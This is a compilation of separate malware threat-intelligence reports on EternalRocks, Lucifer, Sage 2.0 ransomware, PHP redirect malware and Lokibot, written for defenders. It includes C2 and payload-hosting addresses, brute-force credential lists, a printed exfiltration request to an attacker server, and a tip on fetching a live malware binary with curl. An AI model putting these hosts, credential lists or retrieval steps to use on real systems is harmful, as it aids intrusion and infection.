Files\Microsoft Updates\Microsoft.Win32.TaskScheduler.dll` - `c:\Program Files\Microsoft Updates\SharpZLib\` # in newer variants - `c:\Program Files\Microsoft Updates\temp\tor.zip` - `c:\Program Files\Microsoft Updates\temp\Tor\` - `c:\Program Files\Microsoft Updates\required.glo` - `c:\Program Files\Microsoft Updates\taskhost.exe` - `c:\Program Files\Microsoft Updates\TaskScheduler.zip` - `c:\Program Files\Microsoft Updates\TaskScheduler\` - `c:\Program Files\Microsoft Updates\torunzip.exe` # in older variants **Persistence** - Two scheduled tasks **ServiceHost** and **TaskHost** having multiple triggers **Mutexes** - `{8F6F00C4-B901-45fd-08CF-72FDEFF}` - `{8F6F0AC4-B9A1-45fd-A8CF-72FDEFF}` - `20b70e57-1c2e-4de9-99e5-69f369006912` ### Samples **First stage** - `e049d8f69ddee0c2d360c27b98fa9e61b7202bb0d3884dd3ca63f8aa288422dc` # UpdateInstaller.exe (captured) - `1ee894c0b91f3b2f836288c22ebeab44798f222f17c255f557af2260b8c6a32d` # UpdateInstaller.exe (variant) - `64442cceb7d618e70c62d461cfaafdb8e653b8d98ac4765a6b3d8fd1ea3bce15` # UpdateInstaller.exe (variant) - `94189147ba9749fd0f184fe94b345b7385348361480360a59f12adf477f61c97` # UpdateInstaller.exe (variant) - `9bd32162e0a50f8661fd19e3b26ff65868ab5ea636916bd54c244b0148bd9c1b` # UpdateInstaller.exe (variant) - `a7c387b4929f51e38706d8b0f8641e032253b07bc2869a450dfa3df5663d7392` # UpdateInstaller.exe (variant) - `ad8965e531424cb34120bf0c1b4b98d4ab769bed534d9a36583364e9572332fa` # UpdateInstaller.exe (variant) - `b2ca4093b2e0271cb7a3230118843fccc094e0160a0968994ed9f10c8702d867` # UpdateInstaller.exe (variant) - `c999bf5da5ea3960408d3cba154f965d3436b497ac9d4959b412bfcd956c8491` # UpdateInstaller.exe (variant) - `d43c10a2c983049d4a32487ab1e8fe7727646052228554e0112f6651f4833d2c` # UpdateInstaller.exe (variant) - `d86af736644e20e62807f03c49f4d0ad7de9cbd0723049f34ec79f8c7308fdd5` # UpdateInstaller.exe (variant) - `fc75410aa8f76154f5ae8fe035b9a13c76f6e132077346101a0d673ed9f3a0dd` # UpdateInstaller.exe (variant) **Second stage** - `cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30` # taskhost.exe (captured) - `3b4497c7f8c89bf22c984854ac7603573a53b95ed147e80c0f19e549e2b65693` # taskhost.exe (variant) - `a77c61e86bc69fdc909560bb7a0fa1dd61ee6c86afceb9ea17462a97e7114ab0` # taskhost.exe (variant) - `70ec0e2b6f9ff88b54618a5f7fbd55b383cf62f8e7c3795c25e2f613bfddf45d` # shadowbrokers.zip (exploits) ### Network Indicators **C&C server(s)** - `ubgdgno5eswkhmpy.onion` **Downloading required .NET components (first stage)** - `http://api.nuget.org/packages/taskscheduler.2.5.23.nupkg` - `http://api.nuget.org/packages/sharpziplib.0.86.0.nupkg` # in newer variants ### Appendix **Decompilation of an older sample** - C# source # `1ee894c0b91f3b2f836288c22ebeab44798f222f17c255f557af2260b8c6a32d` **Network traffic capture (PCAP)** - Windows 7 x64 SP1 Honeypot # initial exploitation capture (2017-05-17) **Yara rules** - EternalRocks.yara **Debug strings** - `C:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB` - `C:\Users\tmc\Documents\DownLoader\Project1.vbp` - `C:\Users\tmc\Documents\TorUnzip\Project1.vbp` - `c:\Users\tmc\Documents\Visual Studio 2015\Projects\MicroBotMassiveNet\taskhost\obj\x86\Debug\taskhost.pdb` - `C:\Users\tmc\Documents\Visual Studio 2015\Projects\WindowsServices\svchost\bin\svchost.pdb` ### Indicators of Compromise (IOC) **SHA256** - `1ee894c0b91f3b2f836288c22ebeab44798f222f17c255f557af2260b8c6a32d` - `20240431d6eb6816453651b58b37f53950fcc3f0929813806525c5fd97cdc0e1` - `2094d105ec70aa98866a83b38a22614cff906b2cf0a08970ed59887383ee7b70` - `23eeb35780faf868a7b17b8e8da364d71bae0e46c1ababddddddecbdbd2c2c64` - `3b4497c7f8c89bf22c984854ac7603573a53b95ed147e80c0f19e549e2b65693` - `44472436a5b46d19cb34fa0e74924e4efc80dfa2ed491773a2852b03853221a2` - `48b1024f599c3184a49c0d66c5600385265b9868d0936134185326e2db0ab441` - `589af04a85dc66ec6b94123142a17cf194decd61f5d79e76183db026010e0d31` - `64442cceb7d618e70c62d461cfaafdb8e653b8d98ac4765a6b3d8fd1ea3bce15` - `6bc73659a9f251eef5c4e4e4aa7c05ff95b3df58cde829686ceee8bd845f3442` - `70ec0e2b6f9ff88b54618a5f7fbd55b383cf62f8e7c3795c25e2f613bfddf45d` - `7b8674c8f0f7c0963f2c04c35ae880e87d4c8ed836fc651e8c976197468bd98a` - `94189147ba9749fd0f184fe94b345b7385348361480360a59f12adf477f61c97` - `9bd32162e0a50f8661fd19e3b26ff65868ab5ea636916bd54c244b0148bd9c1b` - `a77c61e86bc69fdc909560bb7a0fa1dd61ee6c86afceb9ea17462a97e7114ab0` - `a7c387b4929f51e38706d8b0f8641e032253b07bc2869a450dfa3df5663d7392` - `ad8965e531424cb34120bf0c1b4b98d4ab769bed534d9a36583364e9572332fa` - `aedd0c47daa35f291e670e3feadaed11d9b8fe12c05982f16c909a57bf39ca35` - `b2ca4093b2e0271cb7a3230118843fccc094e0160a0968994ed9f10c8702d867` - `c4762489488f797b4b33382c8b1b71c94a42c846f1f28e0e118c83fe032848f0` - `c999bf5da5ea3960408d3cba154f965d3436b497ac9d4959b412bfcd956c8491` - `cf8533849ee5e82023ad7adbdbd6543cb6db596c53048b1a0c00b3643a72db30` - `d43c10a2c983049d4a32487ab1e8fe7727646052228554e0112f6651f4833d2c` - `d86af736644e20e62807f03c49f4d0ad7de9cbd0723049f34ec79f8c7308fdd5` - `e049d8f69ddee0c2d360c27b98fa9e61b7202bb0d3884dd3ca63f8aa288422dc` - `e77306d2e3d656fa04856f658885803243aef204760889ca2c09fbe9ba36581d` - `f152ed03e4383592ce7dd548c34f73da53fc457ce8f26d165155a331cde643a9` - `fc75410aa8f76154f5ae8fe035b9a13c76f6e132077346101a0d673ed9f3a0dd` **Imphash** - `8ef751c540fdc6962ddc6799f35a907c` # older (VB6) variants of UpdateInstaller.exe **Mutexes** - `{8F6F00C4-B901-45fd-08CF-72FDEFF}` - `{8F6F0AC4-B9A1-45fd-A8CF-72FDEFF}` - `{8F6F0AC4-B9A1-45fd-A8CF-727220DE8F}` - `20b70e57-1c2e-4de9-99e5-69f369006912` ### File Paths - `c:\Program Files\Microsoft Updates\` ### Scheduled Tasks - **ServiceHost** -> `C:\Program Files\Microsoft Updates\svchost.exe` # system start, log on, daily - **TaskHost** -> `C:\Program Files\Microsoft Updates\taskhost.exe` # system start, log on, daily
# Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices **By Ken Hsu, Durgesh Sangvikar, Zhibin Zhang, and Chris Navarrete** **June 24, 2020** **Category: Unit 42** **Tags: Cryptominer, Cryptojacking, DDoS, Lucifer, vulnerabilities** ## Executive Summary On May 29, 2020, Unit 42 researchers discovered a new variant of a hybrid cryptojacking malware from numerous incidents of CVE-2019-9081 exploitation in the wild. A closer look revealed the malware, dubbed “Lucifer,” is capable of conducting DDoS attacks and is well-equipped with various exploits against vulnerable Windows hosts. The first wave of the campaign stopped on June 10, 2020. The attacker then resumed their campaign on June 11, 2020, spreading an upgraded version of the malware. The sample was compiled on June 11, 2020, and caught by Palo Alto Networks Next-Generation Firewall. At the time of writing, the campaign is still ongoing. Lucifer is quite powerful in its capabilities. It can drop XMRig for cryptojacking Monero, conduct command and control (C2) operations, and self-propagate through the exploitation of multiple vulnerabilities and credential brute-forcing. Additionally, it drops and runs EternalBlue, EternalRomance, and DoublePulsar backdoors against vulnerable targets for intranet infections. The exhaustive list of weaponized exploits includes CVE-2014-6287, CVE-2018-1000861, CVE-2017-10271, ThinkPHP RCE vulnerabilities (CVE-2018-20062), CVE-2018-7600, CVE-2017-9791, CVE-2019-9081, PHPStudy Backdoor RCE, CVE-2017-0144, CVE-2017-0145, and CVE-2017-8464. These vulnerabilities have either “high” or “critical” ratings due to their trivial-to-exploit nature and their tremendous impact on the victim. Once exploited, the attacker can execute arbitrary commands on the vulnerable device. The targets are Windows hosts on both the internet and intranet, as the attacker leverages the certutil utility in the payload for malware propagation. Fortunately, patches for these vulnerabilities are readily available. While the vulnerabilities abused and attack tactics leveraged by this malware are nothing original, they once again deliver a message to all organizations, reminding them why it’s crucial to keep systems up-to-date, eliminate weak credentials, and have a layer of defenses for assurance. At the time of writing, the XMR wallet has paid 0.493527 XMR, which converts to approximately $32 USD. Palo Alto Networks Next-Generation Firewalls can detect and block all exploit attempts from this malware family. This blog includes a detailed analysis of Lucifer and a comparison of version 1 and version 2. ## Lucifer: Cryptojacking and DDoS Campaign A quick note on the name: While the malware author named their malware Satan DDoS, there’s another malware, Satan Ransomware, bearing that devious name already. An alternative alias was given to this malware to avoid confusion. As a result of staying faithful to the unique strings in the binary, we are calling this Lucifer. We identified two versions of Lucifer in our research - we focus first on version 1 and then highlight the changes made to version 2 in the following section. Lucifer contains three resource sections, each of which contains a binary for a specific purpose. The X86 resource section contains a UPX-packed x86 version of XMRig 5.5.0. The X64 resource section contains a UPX-packed x64 version of XMRig 5.5.0. The SMB section contains a binary with many Equation Group exploits like EternalBlue and EternalRomance, and of course, the infamous DoublePulsar backdoor implant. - **X86:** 8edbcd63def33827bfd63bffce4a15ba83e88908f9ac9962f10431f571ba07a8 - **X64:** Ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301 - **SMB:** 5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994 Upon execution, the malware first decrypts its C2 IP address using xor-incremental encryption and then creates a mutant, using its C2 IP address as the mutant’s name. The decrypted C2 IP address is 122.112.179.189. The name of the mutant object is \Sessions\1\BaseNamedObjects\122.112.179.189. The malware then proceeds to persist itself by setting the following registry key values: - HKCU\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic - %malware binary path% - HKLM\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic - %malware binary path% The binary also uses schtasks to set itself up as a task running periodically, ensuring an additional layer of persistence. Once the malware has persisted itself, it checks whether there’s any existing stratum mining information stored in the following registry key value: - HKLM\Software\Microsoft\Windows\CurrentVersion\spreadCpuXmr - %stratum info% The mining information stored in this registry key value takes precedence if the data is present and legit. Otherwise, the malware falls back to its default data embedded in the binary. The malware enables itself with debug privilege and starts several threads to carry out its operation concurrently. The following table summarizes the function of each thread. | Function | Description | |--------------------|-------------| | 0x0041C970 | Clear event logs, remove a log file, terminate the miner process, and repeat its cleaning routine every 18000 seconds. | | 0x00414B60 | Collect interface info and send miner status to its C2 server. | | 0x00419BC0 | Check the remote address and remote port of all TCP connections. If there’s a match and the connection-owning process is not the malware itself and the process’s module path is not C:\ProgramData\spreadXfghij.exe, the malware kills that process and deletes that file. The allow list of ports and IP addresses are in the Appendix. | | 0x0041A780 | Get or initialize its miner parameter, kill miner and Taskmgr process if necessary, drop the miner binary, and execute the miner binary with the values of the arguments based on the host’s memory usage. Both the x86 or x64 bit version of the miner is saved as C:\ProgramData\spreadXfghij.exe. | | 0x00418DC0 | Propagate through brute-forcing credentials and exploitation. Also drop the Equation Group’s exploits and launch them to propagate through exploiting years-old SMB vulnerabilities. | | 0x0041C840 | Copy and save the malware as C:\ProgramData\spread.txt. | The malware employs different propagation strategies. It scans for both open TCP ports 135 (RPC) and 1433 (MSSQL) against the target, be it internal or external, and probes for credential weaknesses in an attempt to gain unauthorized access. If the target has the RPC port open, the malware brute-forces the login using the default username "administrator" and its embedded password list. It then copies and runs the malware binary on the remote host upon successful authentication. When the malware detects that the target has TCP port 1433 open, it tries to brute-force its way in using its embedded list of usernames and passwords. Upon successful login, the malware issues shell commands to download and execute a replica of itself on the victim. In addition to brute-forcing the credentials, the malware leverages exploitation for self-propagation. For intranet infection, it drops and runs EternalBlue, EternalRomance, and DoublePulsar backdoors against the target when the target has TCP port 445 (SMB) open. Upon successful exploitation, certutil is used to propagate the malware. To infect external hosts, the malware first generates a non-private IP address and then probes this randomly-selected victim with HTTP requests over a number of ports. When the malware receives a valid HTTP response from the victim, it tries to exploit the target based on the conditions shown in the following table. | Condition | Exploit | |------------------------------------------------------|---------| | HFS found in the HTTP response | CVE-2014-6287 | | Jetty found in the HTTP response | CVE-2018-1000861 | | Servlet found in the HTTP response | CVE-2017-10271 | | No keywords found in the HTTP response | ThinkPHP remote code execution (RCE) vulnerabilities, CVE-2018-7600, CVE-2017-9791, CVE-2019-9081, PHPStudy Backdoor remote code execution (RCE) | Since the same vulnerability (e.g., ThinkPHP RCE) may be triggered in different endpoints (i.e., via different URLs), the malware tries all hardcoded URLs against the victim for each vulnerability before it proceeds to the next target or next exploit attempt. All the exploits contain the payload that downloads a replica of the malware onto the victim via certutil. After the malware has launched all its worker threads, it enters an infinite loop to handle its C2 operation, with a sleep interval of five seconds. An example of the initial request to its C2 server is shown below. Once the malware has established a TCP connection with its C2 server on port 15888, it saves that same socket for subsequent C2 control as well as the miner’s status report. The initial C2 request contains a magic header \x04\x02\x02 and encrypted system information like the host IP address, system type, system architecture, username, number of processors, and processor frequency. The malware does a decremental-xor encryption on this piece of information before it sends the encrypted data over the wire. Unlike its very first C2 request message, the rest of the miner’s status report messages are clear text. An example packet of the miner’s status report is shown below. | C2 Command | Description | |------------|-------------| | 4 | Perform TCP/UDP/HTTP DoS attack. | | 5 | Reenable DoS attack. | | 6 | Download and execute a file from its C2 server. The file is saved as %TEMP%\<4 random lower case characters>.exe | | 7 | Execute the received command from its C2 server. | | 8 | Disable the miner’s status report functionality. | | 9 | Enable the miner’s status report functionality. | | 10 | Set the data of the registry key value HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\spreadCpuXmr, and terminate the miner process. | | 11 | Enable both flags related to is_miner_killed and start_fresh. | | 12 | Reset flags and terminate the miner process. | The communication between the cryptojacking bot and its mining server is made using the Stratum protocol on port 10001 and is controlled by the execution of the spreadXfghij.exe program. This program accepts different parameters that control configuration settings of the running miner such as username, password, CPU usage, priority, threads, and algorithm names respectively. ## Lucifer: Version 2 Version 2 of Lucifer is similar to its predecessor in terms of its overall capabilities and behaviors; it drops XMRig for cryptojacking, handles C2 operation, and propagates itself through exploitation and brute-forcing credentials. While version 2 and version 1 share many behavioral similarities, version 2 has exclusive differences worth highlighting. The malware possesses anti-sandbox capability by checking the username and the computer name of the infected host. If it finds a match in its predefined list of names, the malware halts itself from proceeding further. Lucifer also checks for the presence of specific device drivers, DLLs, and virtual devices. If any of these objects are detected, the malware enters an infinite loop, stopping its execution from going further. In addition to its anti-sandbox techniques, version 2 possesses an anti-debugger technique that can thwart analysis by passing a format string to OutputDebugStringA() and crashing the debugger. Once Lucifer has passed all the checks, it decrypts its C2 URL and creates a mutex based on its C2 URL. The new C2 URL is qf2020.top, and the decryption algorithm is similar to that of version 1. In contrast to version 1, version 2 of Lucifer has added CVE-2017-8464 to its arsenal and removed CVE-2018-1000861, CVE-2017-10271, and CVE-2017-9791. The malware infects its targets through IPC, WMI, SMB, and FTP by brute-forcing the credentials, in addition to MSSQL, RPC, and network shares. The dropped miner’s name is also different; it’s C:\ProgramData\Svchocpu.exe instead of C:\ProgramData\spreadXfghij.exe. Right before proceeding to its C2 operation, Lucifer checks if the host's default language is 0x804 (zh-CN). If it is, the malware sets Internet Explorer's Start Page to www.yzzswt.com and starts a thread that keeps killing and visiting that URL in Internet Explorer, depending on the system's idle time. While Lucifer version 2 has a new C2 at qf2020.top:19370, its C2 operation remains the same. ## Conclusion Lucifer is a new hybrid of cryptojacking and DDoS malware variant that leverages old vulnerabilities to spread and perform malicious activities on Windows platforms. Applying updates and patches to the affected software is strongly advised. The vulnerable software includes Rejetto HTTP File Server, Jenkins, Oracle Weblogic, Drupal, Apache Struts, Laravel framework, and Microsoft Windows. Strong passwords are also encouraged to prevent dictionary attacks. Palo Alto Networks customers are protected from the attacks by the following products and services: - Next-Generation Firewalls with Threat Prevention licenses can block the exploits and C2 traffic with best practice configuration. - WildFire can stop the malware with static signature detections. - AutoFocus customers can track this activity with the Lucifer tag. ## IoCs (Lucifer Version 1) **Malware Hosting Site:** - 180.126.161.27 - 210.112.41.71 **Mining Protocol:** 1. stratum+tcp://pool.supportxmr.com:3333 2. stratum+tcp://gulf.moneroocean.stream:10001 **C2:** - 122.112.179.189:15888 (version 1) **HBI:** - SHA256 - Malware: 94f0e2aa41e1703e37341cba0601441b2d9fa2e11615cad81ba5c93042c8f58c spread.txt (version 1) **SHA256 - Embedded Binaries in the Resource Section:** - X86: 8edbcd63def33827bfd63bffce4a15ba83e88908f9ac9962f10431f571ba07a8 - X64: Ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301 - SMB: 5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994 **SHA256 - Binaries Extracted from SMB.exe:** - ff8c9d8c6f16a466d8e598c25829ec0c2fb4503b74d17f307e13c28fd2e99b93 Shellcode.ini - 7417daf85e6215dedfd85ca8bfafcfd643c8afe0debcf983ad4bacdb4d1a6dbc X64.dll - de23da87e7fbecb2eaccbb85eeff465250dbca7c0aba01a2766761e0538f90b6 X86.dll ## IoCs (Lucifer Version 2) **Malware Hosting Site:** - 121.206.143.140 **Mining Protocol:** 1. stratum+tcp://pool.supportxmr.com:8080 2. stratum+tcp://gulf.moneroocean.stream:10001 **C2:** - qf2020.top:19370 **HBI:** - SHA256 - Malware: 66d619ca5e848ce0e4bcb1252ff8a4f0a060197a94810de85873c76fa3826c1e spread.txt **SHA256 - Embedded Binaries in the Resource Section:** - LNK encrypted: 84b0f2e4d222b0a2e34224e60b66340071e0d03c5f1a2af53b6005a3d739915f - LNK decrypted: 4c729b343ed3186dffdf80a8e3adfea7c2d56a7a06081333030fb4635e09d540 - SMB encrypted: F2d9d7703a5983ae3b7767c33ae79de1db093ea30f97d6b16bb5b62f03e99638 - SMB decrypted: 5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994 - X64 encrypted: 4365c2ba5505afeab2c479a9c546ed3cbc07ace184fe5019947823018feb4265 - X64 decrypted: ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301 - X86 encrypted: b6d4b4ef2880238dc8e322c7438f57b69cec6d44c0599875466a1edb8d093e15 - X86 decrypted: 8edbcd63def33827bfd63bffce4a15ba83e88908f9ac9962f10431f571ba07a8 **SHA256 - Binaries Extracted from SMB.exe:** - <Same as version 1> **Appendix: Allow list of Remote IP Addresses** - 94.23.23.52 - 91.121.140.167 - 149.202.214.40 **List of Usernames - Credential Brute-Forcing** - sa - SA - administrator **List of Passwords - Credential Brute-Forcing** - administrator - 123456 - 123456789 **List of Ports for Vulnerability Scanning and Exploitation** - 80 - 81 - 8080 This document provides a comprehensive overview of the Lucifer malware, its capabilities, and the necessary precautions to mitigate its impact.
# Sage 2.0 Ransomware ## Introduction On Friday, 2017-01-20, I checked a malicious spam (malspam) campaign that normally distributes Cerber ransomware. That Friday it delivered ransomware I'd never seen before called "Sage." More specifically, it was "Sage 2.0." Sage is yet another family of ransomware in an already crowded field. It was noted on BleepingComputer forums back in December 2016, and Sage is a variant of CryLocker. Unfortunately, I can't find an in-depth write-up on Sage that I like. With that in mind, this diary examines Sage 2.0. ## The malspam Emails from this particular campaign generally have no subject lines, and they always have no message text. The only content is a zip attachment containing a Word document with a malicious macro that downloads and installs ransomware. Sometimes, I'll see a .js file instead of a Word document, but it does the same thing. Often, the recipient's name is part of the attachment's file name. A more interesting fact is the attachments are often double-zipped. They contain another zip archive before you get to the Word document or .js file. The Word document macros or .js files are designed to download and install ransomware. In most cases on Friday, the ransomware was Sage 2.0. ## The infected host Under default settings, an infected Windows 7 host will present a UAC window before Sage continues any further. It keeps appearing until you click yes. The infected Windows host has an image of the decryption instructions as the desktop background. There's also an HTML file with the same instructions dropped to the desktop. The same HTML file is also dropped to any directory with encrypted files. ".sage" is the suffix for all encrypted files. Sage ransomware is kept persistent by a scheduled task, and it's stored as an executable in the user's AppData\Roaming directory. Following the decryption instructions should take you to a Tor-based domain with a decryptor screen. On Friday, the cost to decrypt the files was $2,000 US dollars (or 2.22188 bitcoin). ## Sage 2.0 traffic Sage ransomware generates post-infection traffic. An initial HTTP GET request to smoeroota.top was caused by a .js file retrieving the ransomware. The remaining HTTP POST requests are callback traffic generated by Sage 2.0 from the infected Windows host. When the callback domains for Sage didn't resolve in DNS, the infected host sent UDP packets to over 7,000 IP addresses. This could be UDP-based peer-to-peer (P2P) traffic, and it appears to be somehow encoded or encrypted. BleepingComputer's September 2016 write-up on CryLocker shows the same type of UDP post-infection traffic, but CryLocker's traffic was not encrypted. ## Indicators of Compromise (IOCs) Below are IOCs for Sage 2.0 from Friday, 2017-01-20: **Ransomware downloads caused by Word document macros or .js files:** - 54.165.109.229 port 80 - smoeroota.top - GET /read.php?f=0.dat - 54.165.109.229 port 80 - newfoodas.top - GET /read.php?f=0.dat - 84.200.34.99 port 80 - fortycooola.top - GET /user.php?f=0.dat **Post-infection traffic:** - 54.146.39.22 port 80 - mbfce24rgn65bx3g.er29sl.in - POST / - 66.23.246.239 port 80 - mbfce24rgn65bx3g.er29sl.in - POST / - mbfce24rgn65bx3g.rzunt3u2.com (DNS queries did not resolve) - Various IP addresses, UDP port 13655 - possible P2P traffic **Tor-based domains to view the decryption instructions:** - 7gie6ffnkrjykggd.rzunt3u2.com - 7gie6ffnkrjykggd.er29sl.in - 7gie6ffnkrjykggd.onion **SHA256 hashes for the Sage 2.0 ransomware samples:** - 0ecf3617c1d3313fdb41729c95215c4d2575b4b11666c1e9341f149d02405c05 (352,328 bytes) - 362baeb80b854c201c4e7a1cfd3332fd58201e845f6aebe7def05ff0e00bf339 (352,328 bytes) - 3b4e0460d4a5d876e7e64bb706f7fdbbc6934e2dea7fa06e34ce01de8b78934c (352,328 bytes) - 8a0a191d055b4b4dd15c66bfb9df223b384abb75d4bb438594231788fb556bc2 (352,328 bytes) - ccd6a495dfb2c5e26cd65e34c9569615428801e01fd89ead8d5ce1e70c680850 (352,328 bytes) **Examples of locations on the infected Windows host where Sage 2.0 was made persistent:** - C:\Users\[username]\AppData\Roaming\gNwO5YoE.exe - C:\Users\[username]\AppData\Roaming\wiqpNWm7.exe **Final words** An important note: URLs for the ransomware download will send Cerber one day, but the same URLs can send something like Sage ransomware the next. I'm not sure how widely-distributed Sage ransomware is. I've only seen it from this one malspam campaign, and I've only seen it one day so far. I'm also not sure how effective this particular campaign is. It seems these emails can easily be blocked, so few end users may have actually seen Sage 2.0. Still, Sage is another name in the wide variety of existing ransomware families. This illustrates how profitable ransomware remains for cyber criminals.
# PHP Malware Used in Lucky Visitor Scam **Kota Kino** June 4, 2021 JPCERT/CC continues to observe cases of websites being compromised and embedded with a malicious page. Visitors are redirected to a scam site or suspicious shopping site by a malicious PHP script (hereafter, “PHP malware”). This article explains the details of PHP malware which is often found in websites in Japan. ## Cases Observed On PHP malware-embedded websites, there are many malicious webpages that redirect visitors to a scam site or suspicious shopping site. An example of a “lucky visitor scam” message is displayed at the time of access. The popup message roughly translates as follows: “Dear Internet Explorer user, you are the lucky visitor on 14 May, 2021. If you answer our questionnaire, you will get a chance to win an Apple iPhone 12 Pro.” It was confirmed that the attackers leveraged vulnerabilities in content management systems (CMS) to upload PHP malware on the server. ## Functions PHP malware has two main functions: 1. Redirect visitors to a suspicious website 2. Execute commands from attackers ### Redirect Visitors to a Suspicious Website PHP malware redirects visitors to a suspicious site. Once a visitor accesses a compromised website, PHP malware checks the following points to verify if the visitor meets the criteria for redirection: - UserAgent is not a value used for crawler or bot - Referrer contains the string “google”, “yahoo”, “bing” or “yandex” - Accept-Language header exists - URL path contains a unique identifier The unique identifier is a value generated from a string called “UID”, specified in PHP malware. It is based on the MD5 hash value of the string made of UID and “salt3” added at the end. The first 6 letters are referred to as its unique identifier. If all the conditions are met, PHP malware sends the details of the visitor to the attacker’s server, which is specified in the script. Below is an example of an HTTP POST request: ``` POST /app/assets/api2?action=redir HTTP/1.0 Host: [IP address] Connection: close Content-Length: [size] Content-type: application/x-www-form-urlencoded ip=127.0.0.1&qs=example.com/sample.php?fc858f=test&ua=Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&lang=en-US,en;q=0.5&ref=https://www.google.com/&enc=gzip, deflate&acp=text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 8859-1&conn=close&cfconn=127.0.0.1&xreal=127.0.0.1&xforward=127.0.0.1&uid=fb06bc98-576a-d5df-2195-a4b0a64bec44 ``` Attackers obtain the visitor’s information from the HTTP header. Based on the information received, the attacker’s server runs the process to verify if the visitor meets the criteria for redirection. If the conditions are met, a URL for redirection is provided in a response. If the conditions are not met, a URL is not provided, and thus no redirection occurs. Finally, PHP malware redirects the visitor to the specific URL using the Location header, META tag, or JavaScript code. If the visitor does not meet the criteria for redirection, PHP malware creates and displays a non-malicious page based on the HTML file templates stored on the website. ### Execute Commands Besides redirection, PHP malware has some commands that attackers can use from a remote network: - check - templates - keywords - update_sitemap - pages - ping - robots - eval These commands allow attackers to set up a malicious webpage on a server, update sitemap.xml and robots.txt, and execute arbitrary code using the eval command from a remote network. Commands are sent in an HTTP POST or Cookie header and encoded in a combination of XOR and BASE64. ## Trace Investigation In this case with PHP malware, many malicious webpages are set up on the compromised web servers. The files embedded by PHP malware have the following characteristics: - [random 2 hexadecimal digits]_[random 16 hexadecimal digits].html - [random 2 hexadecimal digits]_[random 16 hexadecimal digits].list - [“cache” folder]/[random 16 hexadecimal digits] It is recommended to check that there is no such file with these features nor suspicious URL in sitemap.xml, as PHP malware adds a large number of malicious URLs there. In addition, PHP malware communicates with the attacker’s server in order to retrieve malicious URLs. ## In Closing The attacks using PHP malware have been observed outside of Japan as well. JPCERT/CC has seen some cases where CMS vulnerabilities are leveraged to embed PHP malware on the website. It is recommended to use the latest version of CMS and plugins at all times. If you have any information about compromised websites, please contact info[at]jpcert.or.jp. --- ### Appendix A: List of Commands | Command | Contents | |-------------|----------------------------------------------------| | check | Displays the number of files stored on the server | | templates | Creates a .html file for templates | | keywords | Creates a .lst file for keywords | | update_sitemap | Updates sitemap.xml | | pages | Creates a new page | | ping | Sends a sitemap.xml URL to Google and Bing | | robots | Creates robots.txt | | eval | Runs PHP code | ### Appendix B: SHA-256 Hash Value - (ver5.2) 13a9f50160d8bb8a5799c8850262cf4ae46a854b1b262918d188bb17c24b14c7 - (ver5.0) 38c4a4dfc8e3d22ab3ad2e19eb84d116d01963ba6cb75d7f797f0b4b4724667f - (ver4.5) dcd5786762ed09b4f681b07a9aa5cf4f6940f25616478a1ab9b4f848e97690ef - (ver4.3) 24fb03d10be05931fad3df6c8d0c8c2763dfd9d8e0e3de00fa484cbf2892eef7 ### Appendix C: C&C Server - 5.9.34.13 - 5.9.146.0 - 5.9.235.245 - 144.76.47.168 - 178.63.30.30 - 178.63.30.186 **Author** Kota Kino is a Malware/Forensic Analyst at Incident Response Group, JPCERT/CC since August 2019.
# Malspam Pushing Lokibot Malware **Published:** 2018-12-04 **Last Updated:** 2018-12-04 02:36:48 UTC **by Brad Duncan** ## Introduction I've frequently seen malicious spam pushing Lokibot (also spelled "Loki-Bot") since 2017. This year, I've written diaries about it in February 2018 and June 2018. I most recently posted an example to my blog on 2018-11-26. This type of malicious spam shows no signs of stopping, so here's a quick diary covering an example from Monday 2018-12-03. ## The Email Templates for malicious spam pushing Lokibot vary, and the example from Monday 2018-12-03 was disguised as a purchase quotation. The email contained an Excel spreadsheet with a macro designed to infect vulnerable Windows hosts with Lokibot malware. Potential victims need to click through warnings, so this is not an especially stealthy method of infection. ## Infection Traffic A macro from the Excel spreadsheet retrieved Lokibot malware using HTTPS from a URL at a.doko[.]moe. I used Fiddler to monitor the HTTPS traffic and determine the URL. The HTTPS request to a.doko[.]moe had no User-Agent string. If you use curl to retrieve the binary, you must use the -H option to exclude the User-Agent line from your HTTPS request. ## Forensics on the Infected Host The infected Windows host made Lokibot persistent through a Windows registry update. This registry update was quite similar to previous Lokibot infections I've generated in my lab environment. In this example, the infected host also had a VBS file in the Windows menu Startup folder. This pointed to another copy of the Lokibot malware executable; however, that executable had deleted itself during the infection. The only existing Lokibot executable was in the directory path listed in the associated Windows registry entry. ## Indicators The following are indicators from an infected Windows host. Any URLs, IP addresses, and domain names have been "de-fanged" to avoid any issues when viewing today's diary. **Traffic from an infected Windows host:** - 185.83.215[.]3 port 443 - a.doko[.]moe - GET /tkencn.jpg (encrypted HTTPS traffic) - 199.192.27[.]109 port 80 - decvit[.]ga - POST /and/cat.php **Malware from an infected Windows host:** - **SHA256 hash:** 58cea3c44da13386b5acfe0e11cf8362a366e7b91bf9fc1aad7061f68223c5a8 **File size:** 853,504 bytes **File name:** 62509871.xls **File description:** Attached Excel spreadsheet with macro to retrieve Lokibot - **SHA256 hash:** b8b6ee5387befd762ecce0e146bd0a6465239fa0785869f05fa58bdd25335d3e **File size:** 853,504 bytes **File location:** hxxps://a.doko[.]moe/tkencn.jpg **File location:** C:\Users\[username]\AppData\Roaming\44631D\D1B132.exe **File location:** C:\Users\[username]\AppData\Roaming\sticik\stickiy.exe (deleted itself during the infection) **File description:** Lokibot malware binary ## Final Words Email, pcap, and malware for the infection can be found here. **Keywords:** Lokibot malspam
